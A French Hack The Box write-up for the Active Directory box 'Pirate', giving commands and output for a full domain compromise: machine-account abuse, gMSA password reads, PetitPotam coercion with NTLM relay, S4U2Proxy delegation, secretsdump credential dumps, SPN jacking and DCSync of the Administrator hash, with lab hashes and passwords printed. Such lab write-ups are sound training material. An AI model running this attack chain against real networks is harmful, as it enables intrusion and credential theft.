HTB - Pirate

Writeup de la box Hack The Box Pirate

Pirate n’est pas encore retired, je n’encourage personne à lire ce writeup dans le but d’obtenir des solutions.

Introduction

HackTheBox Pirate est une box Windows / AD avec accès initial classée “hard” de HTB.

Plan global de l’attaque:

  1. Enumeration de la box DC01
  2. Accès initial via des comptes machine “Pre Windows 2000” non initialisés
  3. Exploitation de DACLs autorisant gMSA read pour accéder à un compte avec WinRM
  4. Pivot avec Ligolo et PetitPotam vers WEB01
  5. S4U2Proxy permettant l’accès Administrator à WEB01
  6. Escalade finale vers DC Admin exploitant l’attribution d’un SPN au DC (SPN Jacking)

Initial Access

Variables de début:

USER=pentest 
PASS='p3nt3st2025!&'
DOMAIN=pirate.htb
DC=pirate.htb

Reconnaissance

On peut d’ores et déjà lancer un Bloodhound qui ne donne pas d’infos pour l’instant mais nous servira plus tard:

bloodhound-python -d PIRATE.htb -u pentest -p 'p3nt3st2025!&' -ns 10.129.244.95 -v --dns-timeout 65535

Ainsi qu’un scan Nmap:

└─$ nmap -A -vv pirate.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 17:31 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
PORT     STATE SERVICE       REASON         VERSION
53/tcp   open  domain        syn-ack ttl 64 Simple DNS Plus
80/tcp   open  http          syn-ack ttl 64 Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  syn-ack ttl 64 Microsoft Windows Kerberos (server time: 2026-06-21 04:32:03Z)
135/tcp  open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 64 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 64
464/tcp  open  kpasswd5?     syn-ack ttl 64
593/tcp  open  ncacn_http    syn-ack ttl 64 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
2179/tcp open  vmrdp?        syn-ack ttl 64
3268/tcp open  ldap          syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      syn-ack ttl 64 Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
5985/tcp open  http          syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.27 ms pirate.htb (10.129.244.95)

Rien d’anormal ici non plus.

Et rien du côté d’enum4linux.

En revanche, l’énumération d’hôtes ayant l’auth pre Windows 2000 est intéressante:

└─$ ldapsearch -x -H ldap://pirate.htb -D "$USER@pirate.htb" -w "$PASS" -b "DC=pirate,DC=htb" "(cn=Pre-Windows 2000 Compatible Access)"
# Pre-Windows 2000 Compatible Access, Builtin, pirate.htb
dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb
objectClass: top
objectClass: group
cn: Pre-Windows 2000 Compatible Access
description: A backward compatibility group which allows read access on all us
 ers and groups in the domain
member: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
member: CN=MS01,CN=Computers,DC=pirate,DC=htb
member: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
distinguishedName: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,
 DC=htb
...
# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3

On a donc deux comptes machines potentiellement accessibles: - EXCH01 : exch01 - MS01 : ms01

Ainsi:

└─$ nxc smb pirate.htb -u "computers.txt" -p "passwords.txt" --no-bruteforce
SMB         10.129.244.95   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False)
SMB         10.129.244.95   445    DC01             [-] pirate.htb\MS01$:ms01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
SMB         10.129.244.95   445    DC01             [-] pirate.htb\EXCH01$:exch01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT: On doit set un nouveau password pour utiliser le compte.

Et donc:

bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u $USER -p $PASS set password 'MS01$' 'Azerty+1'   --oldpass 'ms01'
[+] Password changed successfully!
bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u $USER -p $PASS set password 'EXCH01$' 'Azerty+1'   --oldpass 'exch01'
[+] Password changed successfully!

En énumérant nos nouvelles permissions avec Bloodhound, on trouve un chemin d’attaque:

1.png

2.png

3.png

Ce chemin signifie que ‘MS01$’ peut lire les passwords des comptes gMSA:

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'MS01$' -p 'Azerty+1' msldap gmsa
---------------------------------------------
Username: gMSA_ADCS_prod$
Allowed machine: pirate\Domain Secure Servers
Password: 908385b82179cb6763403c9924621452f9c8d9e1431a54ca5d9659d18f557a612482af5882ff4989be6879ada761fb86cd1d35561c0f83c54f107e68f35c2a541d444e768a89b54188634bba5ad666993ee7652452ba99faac5b61bd1140bcd63c1ab554d3dae6135eb151bca29eeff9ec5645228870d240df037d9537c06b12e6cfe18f1cc230daa86c5d9458c789bc2b89c59c5396cb1e0de67c29eda25134e12d7db4f16bd97f50208ce6331f13abbb901dcf05e0f388b6da1461f7f652c059b9ae4c088beda35ae621524f85e7a899ac575e51d5e1d25f6ab4e3ed727ddf6bd78b29fb81707bc487a7b1c5c3ddb148b2aded981755fb51a3c9da6adb4b7a
Password -NT-: 55d78485f8d9b2d2b37628227ebf936a
---------------------------------------------
Username: gMSA_ADFS_prod$
Allowed machine: pirate\Domain Secure Servers
Password: 36a33deafd5a8dff78b626b9d4e134add6ccbb12ed7c776e437eb0e92f38b3cafcba8a96641be258ad986c040cf8b2136e56c058bae0b0ce5b7d81fc8b3955f3decd1cfd135f7c0aa9ad7ee09ed5bd27aeff75511157f9411da629b8402d384dab3dde8d8caca8db3d9fca4056a80cdc9191b90fb99142f11d6750bda773e1d560bcfdd595dc2c0efd4e0e061588769473f9adb71d4e0658bfa14ee90a050e6ca0372ad9f20b1072d1800e1e0a67e62c53975054b13cfc1d046e5249a324eccb706a678e3c6af41a6ef2dc679c1b543c0f019f8cc50852899cf0ba505c692c15dc9a124c6c30cfbbb78c78d6cda30c49f979e7997318cfd50a24389499489074
Password -NT-: abad63faa669b6a4eddfd46432f7ca6c
---------------------------------------------

Et que l’on peut utiliser ‘gMSA_ADFS_prod$’ pour accéder aux machines en WinRM:

evil-winrm -i pirate.htb -u 'gMSA_ADFS_prod$' -H 'abad63faa669b6a4eddfd46432f7ca6c'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$\Documents>

Pas encore de flag à ce niveau…

En revanche on trouve un réseau interne:

*Evil-WinRM* PS C:\> ipconfig

Windows IP Configuration


Ethernet adapter vEthernet (Switch01):

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
   IPv4 Address. . . . . . . . . . . : 192.168.100.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.47.209
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1

Après établissement d’un Ligolo, le pingsweep retourne:

└─$ for ip in 192.168.100.{1..254}; do
    ping -c 1 -W 1 $ip > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "$ip is alive"
    fi
done
192.168.100.1 is alive
192.168.100.2 is alive

192.168.100.2 est notre prochaine cible.

Pivot

A nouveau scanons la machine:

└─$ nmap -T3 -A -vvv 192.168.100.2
PORT     STATE SERVICE       REASON         VERSION
80/tcp   open  http          syn-ack ttl 64 Microsoft IIS httpd 10.0
135/tcp  open  msrpc         syn-ack ttl 64 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 64 Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds? syn-ack ttl 64
5985/tcp open  http          syn-ack ttl 64 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds
           Raw packets sent: 2045 (93.176KB) | Rcvd: 57 (3.080KB)

Rien de nouveau, un serveur Windows non DC cette fois.

Enumerations faites: - Pas d’accès SMB - Accès WinRM valide mais non privilégié, pas de privesc locale trouvée

En revanche, vue la configuration réseau (passerelle par le DC, Ligolo direct WEB01), ainsi que l’activation d’NTLM non signé, on peut penser à une coercion.

PetitPotam

Grâce au trigger de PetitPotam par le biais du DC, l’échange réseau est ainsi:

(1) Attaquant → WEB01
    RPC EFS call

(2) WEB01 → Attaquant
    SMB connect \\attacker\share

(3) Attaquant ↔ Cible
    NTLM challenge/response

Il ne manque qu’un NTLM relay pour exploiter l’authentification malicieuse.

Commençons par créer une machine “receveuse” de notre futur S4U2Proxy:

impacket-addcomputer pirate.htb/$USER:$PASS -computer-name 'hihi$' -computer-pass 'Azerty+1'

Lançons un NTLM relay:

└─$ sudo impacket-ntlmrelayx -t ldaps://pirate.htb --delegate-access -smb2support -remove-target -escalate-user  'hihi$'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections

Puis lançons la coercion avec PetitPotam:

└─$ python3 PetitPotam.py  -u "$USER" -p "$PASS" -d pirate.htb 10.10.15.105 web01.pirate.htb
Trying pipe lsarpc
[-] Connecting to ncacn_np:192.168.100.2[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Côté NTLMRelay, on reçois:

[*] (SMB): Received connection from 127.0.0.1, attacking target ldaps://pirate.htb
[*] (SMB): Authenticating connection from PIRATE/WEB01$@127.0.0.1 against ldaps://pirate.htb SUCCEED [1]
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] All targets processed!
[*] (SMB): Connection from 127.0.0.1 controlled, but there are no more targets left!
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> Delegation rights modified succesfully!
[*] ldaps://PIRATE/WEB01$@pirate.htb [1] -> hihi$ can now impersonate users on WEB01$ via S4U2Proxy

Success !!

On peut maintenant faire un S4U2Proxy de ‘hihi$’ vers WEB01, pour vérifier:

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'hihi$' -p 'Azerty+1' msldap s4u2proxy
S4U2Proxy set:
a.white_adm

Et récupérer un ST, le temps correct est nécessaire pour supporter Kerberos, d’où le faketime:

└─$ faketime -f '+25198.529300' impacket-getST -impersonate Administrator -spn cifs/web01.pirate.htb -dc-ip pirate.htb "pirate.htb"/"hihi$":'Azerty+1'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating a.white_adm
[*] Requesting S4U2self
[*] Changing service from NJBJEPPV$@PIRATE.HTB to cifs/WEB01$@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_web01.pirate.htb@PIRATE.HTB.ccache

Et enfin s’authentifier à la machine:

export KRB5CCNAME='Administrator@cifs_web01.pirate.htb@PIRATE.HTB.ccache'
faketime -f '+25198.529300' impacket-psexec -k -no-pass web01.pirate.htb

Secretsdump nous donnera des résultats utilisables:

└─$ faketime -f '+25198.529300' impacket-secretsdump -k -no-pass web01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
[*] Dumping cached domain logon information (domain/username:hash)
PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09+00:00)
PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-02-25 17:59:14+00:00)
PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-06-21 16:43:06+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PIRATE\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee87b4b9eb08a8a4af90710056f558
PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
[*] DPAPI_SYSTEM
dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989
dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9
...
[*] Cleaning up...
[*] Stopping service RemoteRegistry

On constate la présence d’un “DefaultPassword”, soit un password mis en cache en clair pour l’auth sans mot de passe.

On a donc les nouveaux creds: a.white : E2nvAOKSz5Xz2MJu

Escalade DACL

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=Angela White,CN=Users,DC=pirate,DC=htb
permission: WRITE

distinguishedName: DC=pirate.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.pirate.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

On peut écrire sur a.white_adm, qui est dans le groupe IT et donc intéressante:

bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' set password a.white_adm 'Azerty+1'
[+] Password changed successfully!

Encore un nouvel user: a.white_adm : Azerty+1

└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white_adm' -p 'Azerty+1' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=WEB01,CN=Computers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=MS01,CN=Computers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: CN=EXCH01,CN=Computers,DC=pirate,DC=htb
permission: WRITE

distinguishedName: DC=pirate.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.pirate.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pirate,DC=htb
permission: CREATE_CHILD

Beaucoup de privilèges intéressants ici, en particulier:

distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
permission: WRITE

Mais ce WRITE ne signifie pas full access sur le DC.

Escalade finale

Commençons par détailler le droit WRITE sur DC01:

┌──(kali㉿kali)-[~]
└─$ bloodyad -H pirate.htb -i pirate.htb -d pirate.htb -u 'a.white_adm' -p 'Azerty+1' get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pirate,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb
servicePrincipalName: WRITE

On peut donc écrire des SPN pour DC01 (et non pas des délégations).

L’avantage est qu’on a des SPN utilisables:

└─$ impacket-findDelegation -user 'a.white_adm' "$DOMAIN"/"$USER":"$PASSWORD"
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

AccountName  AccountType  DelegationType                      DelegationRightsTo     SPN Exists
-----------  -----------  ----------------------------------  ---------------------  ----------
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb  No
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01             No

Ils ne sont pas associés (SPN Exists: No), et peuvent être directement assignés au DC.

Cette attaque est un SPN Jacking.

On ajoute donc le SPN au DC:

└─$ python3 addspn.py -t 'DC01$' --spn "http/WEB01.pirate.htb" -u "$DOMAIN"\\"$USER" -p "$PASSWORD" "$DC_HOST"
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

┌──(kali㉿kali)-[~/krbrelayx]
└─$ impacket-findDelegation -user 'a.white_adm' "$DOMAIN"/"$USER":"$PASSWORD"
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

AccountName  AccountType  DelegationType                      DelegationRightsTo     SPN Exists
-----------  -----------  ----------------------------------  ---------------------  ----------
a.white_adm  Person       Constrained w/ Protocol Transition  http/WEB01.pirate.htb  Yes
a.white_adm  Person       Constrained w/ Protocol Transition  HTTP/WEB01             No

On requete un ST altservice sur CIFS:

faketime -f '+25198.529300' impacket-getST -spn "http/WEB01.pirate.htb" -impersonate "Administrator" -dc-ip "$DOMAIN" "$DOMAIN"/"$USER":"$PASS" -altservice cifs/DC01.pirate.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from http/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache

On peut dump Administrator:

faketime -f '+25198.529300' impacket-secretsdump -k -no-pass DC01.pirate.htb \
  -dc-ip pirate.htb -target-ip pirate.htb -just-dc-user Administrator
  Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:598295e78bd72d66f837997baf715171:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9918bbcfaaad184f895a36edb7aab5bff972912dcf436cf490fc6618cf7bfb56
Administrator:aes128-cts-hmac-sha1-96:7ab7e5b8e8c440068cb254a33a49973f
Administrator:des-cbc-md5:08c1f7b9269bba9d
[*] Cleaning up...

evil-winrm -i pirate.htb -u 'Administrator' -H '598295e78bd72d66f837997baf715171'
Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<redacted>